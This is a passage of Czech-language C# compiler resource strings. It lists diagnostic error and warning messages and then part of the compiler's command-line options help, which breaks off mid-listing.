pro základní typ {0} je poškozený a nelze ho interpretovat. Pokud chcete použít tento konstruktor, použijte atribut SetsRequiredMembers. + Objekt this nelze použít v konstruktoru před přiřazením všech jeho polí. Zvažte aktualizaci na jazykovou verzi na automatické výchozí nastavení nepřiřazených polí. + Obě hodnoty podmíněného operátoru musí být hodnoty ref nebo ani jedna z nich nesmí být hodnota ref. + Použití new() není v tomto kontextu platné + Typ {0} nemůže být vložený, protože je vnořeným typem. Zvažte nastavení vlastnosti Vložit typy spolupráce na false. + Nejde zadat atribut CLSCompliant u modulu, který se liší od atributu CLSCompliant sestavení. + Typ odkazu s možnou hodnotou null v návratovém typu neodpovídá zachycovatelné metodě. + V inicializátoru objektu nebo konstruktoru atributu musí být nastaven požadovaný člen {0}. + Indexer vloženého pole nebude použit pro výraz přístupu k elementu. + {0}. Viz taky chyba CS{1}. + Neplatný základní typ + Požadovaný člen {0} nemůže být méně viditelný nebo mít metodu setter méně viditelnou než obsahující typ {1}. + Název typu {0} neexistuje v typu {1}. + Pro následující značku include se nenašly žádné vyhovující prvky. + Funkce {0} je zkušební, a proto není podporovaná. K aktivaci použijte /features:{1}. + Před explicitním přiřazením se přečte automaticky implementovaná vlastnost, což způsobí předchozí implicitní přiřazení default. + Typ přepisuje Object.Equals(object o), ale nepřepisuje Object.GetHashCode(). + asynchronní streamy + Hodnotu goto case nejde implicitně převést na typ přepínače. + Byla zadaná možnost kompilátoru /doc, ale nejmíň jedna konstrukce neměla komentáře. + {0}: Nejde přepsat zděděný člen {1}, protože není označený jako virtuální, abstraktní nebo přepis. + Název parametru {0} je duplicitní. + {0}: Modifikátory přístupu nejsou povolené pro statické konstruktory. + Nepoužívejte System.Runtime.CompilerServices.RequiredMemberAttribute. Místo toho použijte klíčové slovo required pro povinná pole a vlastnosti. + Neočekávané použití odvázaného obecného názvu + Modifikátor ref pro argument odpovídající parametru in je ekvivalentem in. Zvažte možnost použít místo toho in. + Přistupující objekt {0} nemůže implementovat člen rozhraní {1} pro typ {2}. Použijte explicitní implementaci rozhraní. + Obě deklarace částečné metody musí deklarovat metody rozšíření, nebo nesmí metodu rozšíření deklarovat žádná z nich. + Očekávalo se klíčové slovo catch nebo finally. + Výraz new vyžaduje za typem seznam argumentů nebo (), [] nebo {}. + Proměnná je deklarovaná, ale nikdy se nepoužívá. + {0} se definuje v modulu s nerozpoznanou verzí RefSafetyRulesAttribute, očekává se hodnota 11. + Našel se konec souboru. Očekával se řetězec */. + Na kompilaci typu {0} nejde odkazovat z kompilace {1}. + Pro parametr ref readonly je zadána výchozí hodnota, ale parametr ref readonly by měl být použit pouze pro odkazy. Zvažte deklarování parametru jako in. + 'Člen {0} skryje zděděný člen {1}. Pokud má aktuální člen tuto implementaci přepsat, přidejte klíčové slovo override. Jinak přidejte klíčové slovo new. + {0} neimplementuje člen rozhraní {1}. {2} nemůže implementovat člen rozhraní, protože není veřejné. + Místní typ souboru {0} nelze použít v podpisu člena v nesouborovém místním typu{1}. + Rozhraní {0} nejde použít jako argument typu. Statický člen {1} nemá nejvíce specifickou implementaci v rozhraní. + Očekával se SemanticModel {0}. + referenční podmínka + výchozí operátor + Hodnota typu void se nesmí přiřazovat. + výchozí literál + {0} neimplementuje člen rozhraní {1}. {2} nemůže implementovat {1}. + Výraz typu {0} nelze zpracovat vzorem typu {1}. + Objekt this nelze použít před přiřazením všech jeho polí. Zvažte aktualizaci na jazykovou verzi {0} na automatické výchozí nastavení nepřiřazených polí. + Jsou zadané konfliktní možnosti: soubor prostředků Win32, ikona Win32. + Atribut se ignoruje, když je zadané veřejné podepisování. + Název typu {0} je vyhrazený pro použití kompilátorem. + Možnost použití hodnoty null u typů odkazů v explicitním specifikátoru rozhraní neodpovídá rozhraní implementovanému podle tohoto typu. + Vstupní body aplikací nemůžou mít atribut UnmanagedCallersOnly. + Název {0} není v oboru pravé strany operátoru equals. Zvažte možnost vzájemné záměny výrazů na obou stranách operátoru equals. + {0}: při přepisu zděděného člena {1} nelze změnit prvek řazené kolekce členů. + Kombinovaná délka uživatelských řetězců, které používá tento program, překročila povolený limit. Zkuste omezit použití řetězcových literálů. + Očekával se znak {. + Přípona l je snadno zaměnitelná s číslicí 1. + Neočekávaný znak na tomto místě + Očekával se řetězec > nebo /> uzavírající značku {0}. + Vyvolaná hodnota může být null. + Parametr typu nemá odpovídající značku typeparam v komentáři XML (na rozdíl od jiných parametrů typu). + akce upozornění enable + Definování aliasu s názvem global se nedoporučuje, protože global:: vždycky odkazuje na globální obor názvů, ne na alias. + CallerMemberNameAttribute použitý u parametru {0} nebude mít žádný účinek, protože se aplikuje u člena, který se používá v kontextech nepovolujících volitelné argumenty. + Parametr {0} konstruktoru atributu má typ {1}, což není platný typ pro parametr atributu. + Modifikátor odchylky je neplatný. Jako variant můžou být určeny jenom parametry typu delegát nebo rozhraní. + Parametr musí mít při ukončení za určité podmínky hodnotu jinou než null + Relační vzory se nedají používat pro hodnotu typu {0}. + Dědění ze záznamu se zapečetěným objektem Object.ToString se v jazyce C# {0} nepodporuje. Použijte prosím jazykovou verzi {1} nebo vyšší. + Přetěžovaná metoda lišící se jen parametrem ref nebo out nebo rozměrem pole není kompatibilní se specifikací CLS. + {0}: Pole s modifikátorem volatile nemůže být {1}. + Výraz stackalloc vyžaduje, aby za typem byly závorky []. + Neplatný deklarátor členu anonymního typu. Členy anonymního typu musí být deklarované přiřazením členu, prostým názvem nebo přístupem k členu. + Řazená kolekce členů nemůže obsahovat hodnotu typu void. + Nejde specifikovat atribut Out pro referenční parametr, když není současně specifikovaný atribut In. + Zdrojový soubor {0} je zadaný několikrát. + Členy vlastnosti {0} typu {1} nejde přiřadit k inicializátoru objektu, protože tento inicializátor je hodnotového typu. + collection expressions + {0}: Struktury nemůžou volat konstruktor základní třídy. + Typ neimplementuje vzorek kolekce. Členové nejsou jednoznační. + Výraz stackalloc nejde použít v bloku catch nebo finally. + Očekával se řetězcový literál, ale nenašly se úvodní uvozovky. + {0} nemůže být extern a deklarovat tělo. + <výraz přepínače> + Neplatný výraz preprocesoru + Klíčové slovo this není v aktuálním kontextu k dispozici. + návratový typ lambda + SyntaxTree je výsledkem direktivy #load a nedá se odebrat nebo nahradit přímo. + Nerozpoznaná direktiva #pragma + Anonymní typ nemůže mít více vlastností se stejným názvem. + Parametr typu {1} má omezení unmanaged, takže není možné používat {1} jako omezení pro {0}. + Název {0} překračuje maximální délku povolenou v metadatech. + Direktiva using static se nedá použít k deklarování aliasu. + Přiřazení proběhlo u stejné proměnné. Měli jste v úmyslu jiné přiřazení? + Událost se nikdy nepoužívá. + Zachytávání nelze deklarovat v globálním oboru názvů. + Asynchronní příkaz foreach nejde použít pro proměnné typu {0}, protože {0} neobsahuje vhodnou veřejnou definici instance nebo rozšíření pro {1}. + Událost {0} se může zobrazovat jenom na levé straně výrazu += nebo -=. + Výchozí hodnota parametru neodpovídá v cílovém typu delegáta. + Značka Include je neplatná. + ukazatele na funkci + Předávání typů pro typ {0} v sestavení {1} způsobuje zacyklení. + Typ {0} už obsahuje definici pro {1}. + Strom výrazu nemůže obsahovat volání, které používá nepovinné argumenty. + Operátor {0} nejde použít pro operand {1}. + Soubor metadat {0} nešel otevřít -- {1} + Výsledkem porovnání s hodnotou null typu {0} je vždycky false. + modul jako cílový specifikátor atributů + rekurzivní vzory + Toto varování se může vygenerovat, když jsou dvě metody rozhraní odlišené jenom tím, že určitý parametr je označený jednou jako ref a podruhé jako out. Doporučuje se kód změnit tak, aby k tomuto varování nedocházelo, protože není úplně jasné nebo zaručené, která metoda se má za běhu vyvolat. + +Ačkoli C# rozlišuje mezi out a ref, pro CLR je to totéž. Při rozhodování, která metoda má implementovat rozhraní, modul CLR prostě jednu vybere. + +Poskytněte kompilátoru nějaký způsob, jak metody rozlišit. Můžete například zadat různé názvy nebo k jedné z nich přidat parametr navíc. + Nejde použít #r po prvním tokenu v souboru. + {0} neimplementuje člen rozhraní {1}. {2} nemůže implementovat člen rozhraní, protože je statické. + {0} neimplementuje člen rozhraní{1}. {2} nemůže implicitně implementovat neveřejný člen v jazyce C# {3}. Použijte prosím verzi jazyka{4}nebo vyšší. + Vrací parametr podle odkazu {0}, ale nejedná se o parametr odkazu + Proměnnou podle odkazu nejde inicializovat hodnotou. + pojmenovaný argument + Návratový typ může mít jen jeden modifikátor {0}. + Předdefinovaný typ {0} je definovaný ve více sestaveních v globálním aliasu; použije se definice z {1}. + Lambda stromu výrazů nesmí obsahovat volání do metody, vlastnosti nebo indexeru, které vrací pomocí odkazu. + pole s automatickou výchozí strukturou + Částečná metoda nemůže mít modifikátor abstract. + Položka {0} je už uvedená v seznamu rozhraní u typu {1} s různou možností použití hodnoty null u typů odkazů. + Mezi atributem a jeho hodnotou chybí znaménko rovná se. + Nelze aktualizovat, protože se změnil odvozený typ delegáta. + Řazenou kolekci členů s {0} prvky nejde dekonstruovat na proměnné {1}. + {0} neimplementuje zděděný abstraktní člen {1}. + Ve stejném adresáři nemůže být více konfiguračních souborů analyzátoru ({0}). + Funkce jazyka Inline arrays není podporována pro vložené typy polí s polem elementu, které je buď polem ref, nebo má typ, který není platný jako argument typu. + Typ {0} nemůže být zapečetěný, protože není zapečetěný obsahující záznam. + Nejde vytvořit instanci proměnné typu {0}, protože nemá omezení new(). + Typ pro {0} nejde odvodit, protože jeho inicializátor přímo nebo nepřímo odkazuje na definici. + {0}: Cílový modul runtime nepodporuje v přepisech kovariantní typy. Typ musí být {2}, aby odpovídal přepsanému členu {1}. + #load se povoluje jenom ve skriptech + Přetěžovaná metoda {0} lišící se jenom nepojmenovanými typy pole není kompatibilní se specifikací CLS. + Modifikátor druhu odkazu parametru neodpovídá odpovídajícímu parametru v přepsaném nebo implementovaném členu. + Tento odkaz přiřazuje hodnotu, která má širší řídicí obor hodnot než cíl, který povoluje přiřazení prostřednictvím cíle hodnot s užšími řídicími obory. + Událost podobná poli {0} nemůže mít modifikátor readonly. + Argumentem atributu musí být konstantní výraz, výraz typeof nebo výraz vytvoření pole s typem parametru atributu. + struktury jen pro čtení + <výraz throw> + částečné typy + Daný výraz nikdy neodpovídá zadané konstantě. + Obecný parametr je definice, i když se očekával odkaz {0}. + An expression tree may not contain a collection expression. + Návratová hodnota musí být jiná než null, protože parametr {0} není null. + Syntaxe 'var (...)' jako l-hodnota je vyhrazená. + {0} nepřepisuje očekávanou metodu z {1}. + Člen struktury vrací this nebo jiné členy instance pomocí odkazu + Přepínač /noconfig se ignoroval, protože byl uvedený v souboru odpovědí. + {0} neimplementuje statický člen rozhraní {1}. {2} nemůže implementovat člen rozhraní, protože není statický. + {0}: Vlastnost nebo indexer nemůže být typu void. + {0}: Nejde přepsat zděděný člen {1}, protože je zapečetěný. + U iterátorů nejde používat parametry ref, in nebo out. + Indexovaná vlastnost {0} musí mít všechny argumenty volitelné. + Před vrácením řízení volajícímu se musí plně přiřadit pole {0}. Zvažte aktualizaci jazykové verze {1} na automatické výchozí nastavení pole. + Obě deklarace částečných metod musí mít stejný návratový typ. + Nekonzistentní použití parametru lambda. Typy parametrů musí být buď všechny explicitní, nebo všechny implicitní. + Nejde načíst sestavení analyzátoru. + Nejde odvodit typ zahození s implicitním typem. + Typ {0} v seznamu rozhraní není rozhraní. + Podpisy zachycovatelných a zachytávacích metod se neshodují. + Neočekávané klíčové slovo record. Měli jste na mysli record struct nebo record class? + element + Funkce parameter null-checking se nepodporuje. + Parametr __arglist musí být posledním parametrem v seznamu parametrů + {0} není platná operace složeného přiřazení jazyka C#. + Strom výrazů nesmí obsahovat operátor odpovídající vzoru is. + Konstruktor atributu {0} nejde použít, protože má parametry in nebo ref readonly. + Iterační proměnné foreach odkazu + Při převodu typu {2} na typ {3} došlo k uživatelem definovaným nejednoznačným převodům typu {0} na typ {1}. + Typ spolupráce {0} nemůže být vložený. Místo něho použijte použitelné rozhraní. + Výraz musí být typu {0}, protože se přiřazuje pomocí odkazu. + Sestavení neobsahuje žádné analyzátory. + Žádná přetížená metoda {0} neodpovídá ukazateli na funkci {1}. + Došlo k indexování pole záporným indexem. + Vlastnosti, které vracejí pomocí odkazu, nemůžou mít přístupové objekty set. + Chyba syntaxe příkazového řádku: Nenašla se hodnota :<číslo> parametru {0}. + Odkaz na typ {0} se deklaruje jako definovaný v rámci {1}, ale nenašel. + Možná existuje nesprávné přiřazení místní proměnné {0}, která je argumentem příkazu using nebo lock. Volání Dispose nebo odemknutí se provede u původní hodnoty místní proměnné. + Řazená kolekce členů s {0} elementy se nedá převést na typ {1}. + Znak '<' se nedá použít v hodnotě atributu. + Přebírá adresu, získává velikost nebo deklaruje ukazatel na spravovaný typ ({0}) + Kopírovací konstruktor v záznamu musí volat kopírovací konstruktor základní třídy, případně konstruktor objektu bez parametrů, pokud záznam dědí z objektu. + Syntaxe #pragma checksum není platná. Správná syntaxe: #pragma checksum "název_souboru" "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}" "XXXX..." + invariantně + {0} slouží jen pro účely vyhodnocení a v budoucích aktualizacích může dojít ke změně nebo odebrání. Potlačte tuto diagnostiku, abyste mohli pokračovat. + Pozice není v rámci stromu syntaxe s plným rozpětím {0}. + Nejde definovat novou metodu rozšíření, protože se nenašel vyžadovaný typ kompilátoru {0}. Nechybí odkaz na System.Core.dll? + Typ odkazu s možnou hodnotou null v návratovém typu neodpovídá deklaraci částečné metody. + Pokud má být uživatelem definovaný logický operátor ({0}) použitelný jako operátor zkráceného vyhodnocení, musí vracet hodnotu stejného typu a mít stejné typy parametrů. + Porovnání proběhlo u stejné proměnné. Měli jste v úmyslu jiné porovnání? + nové řádky v interpolacích + Modifikátor scoped nejde použít s proměnnou typu discard. + Identifikátor lišící se jenom použitím velkých a malých písmen není kompatibilní se specifikací CLS. + Parametr {0} má modifikátor params ve výrazu lambda, ale ne v cílovém typu delegáta. + Neplatný literál real + K převzetí adresy výrazu, který je už nastavený jako pevný, nejde použít příkaz fixed. + {0} nemá žádné přístupné konstruktory, které používají jenom typy kompatibilní se specifikací CLS. + Vyhodnocování výrazu desítkové konstanty se nepovedlo. + Parametr {0} musí mít při ukončení s návratovou hodnotou {1} hodnotu jinou než null. + vzor seznamu + Návěstí {0} je duplicitní. + Do pole jen pro čtení není možné přiřazovat hodnoty (kromě případu, kdy je v konstruktoru nebo v metodě setter jen pro inicializaci typu, ve kterém je pole definované, nebo v inicializátoru proměnné). + Proměnná {0} {1}, která nemůže být null, musí při ukončování konstruktoru obsahovat hodnotu, která není null. Zvažte možnost deklarovat {0} jako proměnnou s možnou hodnotou null. + Alias using {0} se objevil dřív v tomto oboru názvů. + Argument {0} se musí předávat s klíčovým slovem {1}. + Nejde použít parametr primárního konstruktoru typu {0} uvnitř člena instance + Atribut CallerArgumentExpressionAttribute použitý u parametru {0} nebude mít žádný účinek. Přepíše ho atribut CallerMemberNameAttribute. + Typ odkazu s možnou hodnotou null v návratovém typu neodpovídá deklaraci částečné metody + Neplatná hodnota argumentu {0} pojmenovaného atributu + Duplicitní omezení {0} pro parametru typu {1} + Členy vlastnosti {0} typu {1} nejde přiřadit k inicializátoru objektu, protože tento inicializátor je hodnotového typu. + Události podobné poli nejsou povolené ve strukturách jen pro čtení. + Název elementu řazené kolekce členů {0} se ignoruje, protože na druhé straně operátoru == nebo != řazené kolekce členů je určený jiný nebo žádný název. + Modifikátor async se dá použít jenom v metodách, které mají tělo. + Výraz switch nezpracovává některé vstupy s hodnotou null. + Částečné deklarace {0} nesmí určovat různé základní třídy. + 'Typ {0} je vzhledem k úrovni ochrany nepřístupný. + Operátor potlačení není v tomto kontextu povolený. + Zděděné členy {0} a {1} mají stejný podpis v typu {2}, takže je nejde přepsat. + Přístup indexeru je nutné volat dynamicky, což ale není možné, protože je součástí výrazu základního přístupu. Zvažte použití dynamických argumentů nebo eliminaci základního přístupu. + {0} nemá žádnou použitelnou metodu s názvem {1}, ale zřejmě má metodu rozšíření s tímto názvem. Metody rozšíření se nedají volat dynamicky. Zvažte použití dynamických argumentů nebo volání metody rozšíření bez syntaxe metody rozšíření. + {0}: Abstraktní vlastnosti nemůžou mít privátní přistupující objekty. + 'Daný výraz is není nikdy zadaného typu. + Indexer vloženého pole nebude použit pro výraz přístupu k elementu. + Cílový modul runtime nepodporuje statické abstraktní členy v rozhraních. + Zadaný řetězec verze „{0}“ neodpovídá požadovanému formátu – major.minor.build.revision (bez zástupných znaků). + Nepoužívejte u vlastnosti atribut System.Runtime.CompilerServices.FixedBuffer. + Chyba při otevírání souboru manifestu Win32 {0} -- {1} + Atribut UnscopedRefAttribute lze použít pouze pro metody a vlastnosti instance struktury a nelze ho použít u konstruktorů nebo členů init-only. + {0} je nový virtuální člen v zapečetěném typu {1}. + Typ odkazu s možnou hodnotou null v typu parametru neodpovídá deklaraci částečné metody. + Strom výrazu nemůže obsahovat indexovanou vlastnost. + Neplatná syntaxe kontrolního součtu #pragma + Literál nezpracovaného řetězce nezačíná dostatečným počtem uvozovek, aby bylo možné tento počet po sobě jdoucích znaků uvozovek povolit jako obsah. + LookupOptions má neplatnou kombinaci možností. + Očekává se inicializátor pole s délkou {0}. + Pole jen pro čtení nejde vrátit zapisovatelným odkazem. + rozšiřitelný příkaz fixed + Strom výrazů nesmí obsahovat výraz indexu od-do (^). + vložená pole + Výraz switch nebo popisek větve musí být bool, char, string, integral, enum nebo odpovídající typ s možnou hodnotou null v jazyce C# 6 nebo starším. + Musí být zadané umístění, aby se zajistila minimální kvalifikace typu. + Aby přidávané moduly odpovídaly sestavení, musí být označené atributem CLSCompliant. + Typ {2} musí být typ odkazu, aby ho bylo možné používat jako parametr {1} v obecném typu nebo metodě {0}. + Odeslání může zahrnovat jenom kód skriptu. + Záznam definuje Equals, ale ne GetHashCode + {0}: Nejde přepsat, protože {1} neobsahuje přepsatelný přistupující objekt get. + Předchozí klauzule catch už zachytává všechny výjimky. + indexování mobilních vyrovnávacích pamětí pevné velikosti + {0} je binární, ne textový soubor. + Atributy cílící na pole se u automatických vlastností v této verzi jazyka nepodporují. + Výraz switch musí být hodnota. Bylo nalezeno: {0}. + {0} nejde přiřadit k anonymní vlastnosti typu. + Použily se pravděpodobně nepřiřazené automaticky implementované vlastnosti + {0} se nedá otevřít pro zápis -- {1}. + Explicitní implementace uživatelem definovaného operátoru {0} musí být deklarovaná jako statická. + Možná chybný prázdný příkaz + Nejde vytvořit delegáta z metody {0}, protože se jedná o částečnou metodu bez implementující deklarace. + Nepřepisujte metodu object.Finalize. Raději použijte destruktor. + konstruktor a destruktor textu výrazu + relační vzor + Typ odkazu s možnou hodnotou null ve vráceném typu neodpovídá přepsanému členu. + Očekával se citovaný název souboru, jednořádkový komentář nebo konec řádku. + Člen {0} musí mít při ukončení s návratovou hodnotou {1} hodnotu jinou než null. + Komentář XML má atribut cref {0}, který odkazuje na parametr typu. + Delegát {0} nemá platný konstruktor. + ref readonly parameters + Dekonstrukce musí obsahovat aspoň dvě proměnné. + Metoda rozšíření {0} definovaná v hodnotovém typu {1} se nedá použít k vytváření delegátů. + Nekonzistentní dostupnost: Základní třída {1} je míň dostupná než třída {0}. + Příkaz goto case je platný jenom uvnitř příkazu switch. + Tento příkaz vrací podle odkazu člen parametru {0} prostřednictvím parametru odkazu; je ho však možné bezpečně vrátit pouze v příkazu return + Třída System.Object nemůže mít základní třídu ani nemůže implementovat rozhraní. + Použila se nepřiřazená lokální proměnná + Statická anonymní funkce nemůže obsahovat odkaz na this nebo base. + {0}: Při přepsání {1} zděděného členu {2} nejde měnit modifikátory přístupu. + Indexer nemůže být typu void. + Nekonzistentní dostupnost: Typ parametru {1} je míň dostupný než operátor {0}. + {0} musí odpovídat vlastnosti jenom pro inicializaci přepsaného člena {1}. + Pole const vyžaduje zadání hodnoty. + Nejde obnovit varování CS{0}, protože je globálně zakázané. + Zavedení metody Finalize může vést k potížím s voláním destruktoru. Měli jste v úmyslu deklarovat destruktor? + Člen {0} je vrácen podle odkazu, ale byl inicializován na hodnotu, kterou není možné vrátit podle odkazu + Možnost použití hodnoty null u návratového typu neodpovídá přepsanému členu (pravděpodobně kvůli atributům možnosti použití hodnoty null) + Typy a aliasy by neměly mít název record + Hlavní část objektu {0} nemůže představovat blok iterátoru, protože {0} se vrací pomocí odkazu. + Špatné číslo indexu uvnitř []; očekává se {0}. + Je určené zpožděné podepsání, které vyžaduje veřejný klíč, ale není zadaný žádný veřejný klíč. + Metoda označená jako [DoesNotReturn] by neměla vracet hodnotu + Neplatný výraz {0} + Modifikátor dostupnosti přistupujícího objektu {0} musí být více omezující než vlastnost nebo indexer {1}. + Atribut CallerFilePathAttribute jde použít jenom pro parametry s výchozími hodnotami. + Pro možnost {0} chybí specifikace souboru. + Deklarace částečných metod musí mít odpovídající referenční návratové hodnoty. + Očekával se citovaný název souboru. + Duplicitní uživatelem definovaný převod v typu {0} + Očekával se typ byte, sbyte, short, ushort, int, uint, long nebo ulong. + Volajícímu se vrátí ovládací prvek před explicitním přiřazením automaticky implementované vlastnosti {0}, což způsobí předchozí implicitní přiřazení default. + Neočekávané použití obecného názvu + {0} nepotřebuje atribut CLSCompliant, protože sestavení nemá atribut CLSCompliant. + Podpis spravované třídy obálky coclass {0} pro rozhraní {1} není platný podpis názvu třídy. + Typ {1} existuje v {0} i {2}. + Typ {0} nelze v tomto kontextu použít, protože se nedá reprezentovat v metadatech. + V parametru {0} v {1} může být argument s odkazem null. + Typ je v konfliktu s importovaným typem. + Očekává se konstantní hodnota typu „{0}“. + Konstruovaný obecný typ nejde vytvořit z jiného než obecného typu. + V interpolovaném řetězci může být znak {0} uvozený jenom zdvojeným znakem ({0}{0}). + Neplatný prvek direktivy include XML + Může jít o vrácený odkaz null. + Toto varování se objeví, pokud vytvoříte třídu s metodou, jejíž podpis je veřejný virtuální void Finalize. + +Pokud se taková třída používá jako základní třída a pokud odvozující třída definuje destruktor, přepíše tento destruktor metodu Finalize základní třídy, ne samotné Finalize. + Specifikátor rozsahu je neplatný. Očekávala se pravá hranatá závorka ]. + inicializátor výrazu stackalloc + Nepoužívejte atribut System.Runtime.CompilerServices.FixedBuffer. Místo něj použijte modifikátor pole fixed. + Použití hodnoty NULL není v tomto kontextu platné. + Vrací podle odkazu člen parametru prostřednictvím parametru odkazy; je možné jej však bezpečně vrátit pouze v příkazu return. + Člen záznamu {0} musí být privátní. + globální direktiva using + Kvalifikátor aliasu oboru názvů (::) se vždycky vyhodnotí jako typ nebo obor názvů, takže je tady neplatný. Místo něho zvažte použití kvalifikátoru . (tečka). + Operátory převodu, rovnosti nebo nerovnosti deklarované v rozhraních musí být abstraktní nebo virtuální. + Parametr typu {0} nejde používat s operátorem as, protože nemá omezení typu třída ani omezení class. + Místní typ souboru {0} musí být deklarován v souboru s jedinečnou cestou. Cesta {1} se používá ve více souborech. + Klíčové slovo base není k dispozici uvnitř statické metody. + Experimentální funkce interceptors není v tomto oboru názvů povolená. Přidejte do projektu {0}. + Člen {0} nejde inicializovat. Nejedná se o pole ani vlastnost. + Došlo k nejednoznačnosti mezi metodami nebo vlastnostmi {0} a {1}. + Lokální funkce je deklarovaná, ale vůbec se nepoužívá. + Chyba syntaxe příkazového řádku: Chybí GUID pro možnost {1}. + V metodě, která má atribut UnmanagedCallersOnly, se nedá jako typ {1} použít {0}. + Odkazované sestavení {0} míří na jiný procesor. + {0} nejde přiřadit k proměnné s implicitním typem. + Při zápisu výstupního souboru došlo k chybě: {0}. + {0}: Statický konstruktor nemůže používat explicitní volání konstruktoru this nebo base. + proměnná prostředí LIB + Inicializační metoda modulu {0} musí být přístupná na úrovni modulu. + {0} nemůže implementovat {1}, protože {2} je událost Windows Runtimu a {3} je normální událost .NET. + 'Prvek {0} je zastaralý. + {0} je typu {1}. V deklaraci konstanty musí být uvedený typ sbyte, byte, short, ushort, int, uint, long, ulong, char, float, double, decimal, bool, string, výčtový typ nebo typ odkazu. + Zadaný řetězec verze není v souladu s doporučeným formátem – hlavní_verze.dílčí_verze.build.revize. + Převod definovaný uživatelem v rozhraní musí převádět do nebo z parametru obecného typu na uzavírajícím typu omezeném na uzavírající typ. + Parametr {0} nemá žádnou odpovídající značku param v komentáři XML pro {1} (ale jiné parametry ano). + Indexovaná vlastnost {0} má argumenty, které nejsou nepovinné a je třeba je zadat. + Aby se typ {0} mohl použít jako AsyncMethodBuilder pro typ {1}, měla by jeho vlastnost Task vracet typ {1} místo typu {2}. + {0}: U pole nejde použít současně volatile i readonly. + Ze záznamů můžou dědit jenom záznamy. + Neukončený literál nezpracovaného řetězce. + Atributy ve výrazech lambda vyžadují seznam parametrů v závorkách. + Statické typy se nedají používat jako parametry + Očekávala se direktiva #endregion. + <missing> + Interpolovaný literál nezpracovaného řetězce nezačíná dostatečným počtem znaků $, aby bylo možné takový počet po sobě jdoucích počátečních složených závorek povolit jako obsah. + Typ odkazu s možnou hodnotou null v typu neodpovídá implicitně implementovanému členu. + Název parametru {0} je v konfliktu s automaticky generovaným názvem parametru. + Parametry typu se u skupiny metod nedají použít jako argument nameof. + Nekonzistentní dostupnost: Typ parametru {1} je míň dostupný než delegát {0}. + Použitý alias nemůže být typu ref. + Předchozí klauzule catch už zachycuje všechny výjimky. Všechny vyvolané události, které nejsou výjimkami, budou zahrnuty do obálky třídy System.Runtime.CompilerServices.RuntimeWrappedException. + Vložení části nebo veškerého zahrnutého kódu XML se nezdařilo. + Operátor await nejde použít pro {0}. + Omezení default je platné jen v přepsaných metodách a metodách explicitní implementace rozhraní. + parametr + Očekává se konstantní hodnota. + Generátor {0} nemohl vygenerovat zdroj. V důsledku toho může docházet k chybám kompilace a generátor nebude přispívat na výstup. Výjimka měla typ {1} se zprávou {2}. +{3} + Parametr typu {0} má stejný název jako parametr typu z vnějšího typu {1}. + Literály typu double nejde implicitně převést na typ {1}. Chcete-li vytvořit literál tohoto typu, použijte předponu {0}. + There is no target type for the collection expression. + Proměnná se nedá deklarovat ve vzoru not nebo or. + + Možností kompilátoru Visual C# + + - VÝSTUPNÍ SOUBORY - +-out:<file> Zadejte název výstupního souboru (výchozí: základní název + souboru s hlavní třídou nebo prvním souborem) +-target:exe Sestavení spustitelného souboru konzoly (výchozí) (Krátký + tvar: -t:exe) +-target:winexe Sestavení spustitelného souboru Windows (Krátký tvar: + -t:winexe) +-target:library Sestavení knihovny (Krátký tvar: -t:knihovna) +-target:module Vytvoří modul, který se dá přidat do jiného + sestavení (Krátký tvar: -t:module) +-target:appcontainerexe Sestavení spustitelného souboru kontejneru Appcontainer (Krátký tvar: + -t:appcontainerexe) +-target:winmdobj Sestavení prostředí Windows Runtime zprostředkujícího souboru, který + používá WinMDExp (Krátký tvar: -t:winmdobj) +-doc:<file> Soubor dokumentace XML do souboru generuje +-refout:<file> Výstup referenčního sestavení, který se má vygenerovat +-platform:<string> Omezuje platformy, na kterých se může tento kód spouštět: x86, + Itanium, x64, arm, arm64, anycpu32bitpreferred nebo + anycpu. Výchozí hodnota je anycpu. + + - VSTUPNÍ SOUBORY - +-recurse:<wildcard> Zahrne všechny soubory v aktuálním adresáři a + podadresáře podle zástupného znaku + specifikace +-reference:<alias>=<file> Odkazuje na metadata z určeného sestavení + pomocí daného aliasu (Krátký tvar: -r) +-reference:<file list> Odkazuje na metadata ze zadaných souborů + sestavení(Krátký tvar: -r) +-addmodule:<file list> Propojte zadané moduly s tímto sestavením +-link:<file list> Vloží metadata ze zadaných definičních + souborů sestavení(Krátký tvar: -I) +-analyzer:<file list> Spustí analyzátory z tohoto sestavení + (Krátký tvar: -a) +-additionalfile:<file list> Další soubory, které nemají přímý vliv na generování + kódu, ale můžou je používat analyzátory k vytváření + chyb nebo upozornění. +-embed Vložte všechny zdrojové soubory do PDB. +-embed:<file list> Vložte konkrétní soubory do PDB. + + - PROSTŘEDKY - +-win32res:<file> Určuje soubor prostředků Win32 (.res) +-win32icon:<file> Tuto ikonu použijte pro výstupní +-win32manifest:<file> Zadejte soubor manifestu Win32 (.xml) +-nowin32manifest Nezahrnovat výchozí manifest Win32 +-resource:<resinfo> Vložte zadaný prostředek (Krátký tvar: -res) +-linkresource:<resinfo> Propojte zadaný prostředek s tímto sestavením + (Krátký tvar: -linkres) Kde formát resinfo + je <file>[,<string name[,veřejný|soukromý]] + + - GENEROVÁNÍ KÓDU - +-debug[+|-] Generuje ladicí informace +-debug:{full|pdbonly|portable|embedded} + Zadejte typ ladění (full je výchozí, + portable je multiplatformní formát, + embedded je multiplatformní formát vložený do + cílového souboru .dll nebo .exe) +-optimize[+|-] Povolit optimalizace (Krátký tvar: -o) +-deterministic Vytvoří deterministické sestavení + (včetně verze modulu GUID a časového razítka) +-refonly Vytvoří referenční sestavení místo hlavního výstupu +-instrument:TestCoverage Vytvoří sestavení instrumentované ke shromažďování + informací o pokrytí +-sourcelink:<file> Informace o odkazu na zdroj, který se má vložit do souboru PDB. + + – CHYBY A UPOZORNĚNÍ - +-warnaserror[+|-] Nahlašuje všechna upozornění za chyby +-warnaserror[+|-]:<warn list> Oznamovat konkrétní upozornění jako chyby + (pro všechna upozornění na možnou hodnotu null použít hodnotu null) +-warn:<n> Nastavit úroveň upozornění (0 nebo vyšší) (Krátký tvar: -w) +-nowarn:<warn list> Zakázat specifická upozornění + (pro všechna upozornění na možnou hodnotu null použít hodnotu null) +-ruleset:<file> Určuje soubor sady pravidel, který zakáže konkrétní + diagnostiku. +-errorlog:<file>[,verze=<sarif_version>] + Určuje soubor k protokolování veškeré diagnostiky kompilátorů + diagnostiku. + sarif_version:{1|2|2.1} Výchozí hodnota je 1. 2 a 2.1 + obě znamenají SARIF verze 2.1.0. +-reportanalyzer Oznámí další informace o analyzátoru, například + čas spuštění. +-skipanalyzers[+|-] Přeskočí spuštění diagnostických analyzátorů. + + - JAZYK - +-checked[+|-] Generovat 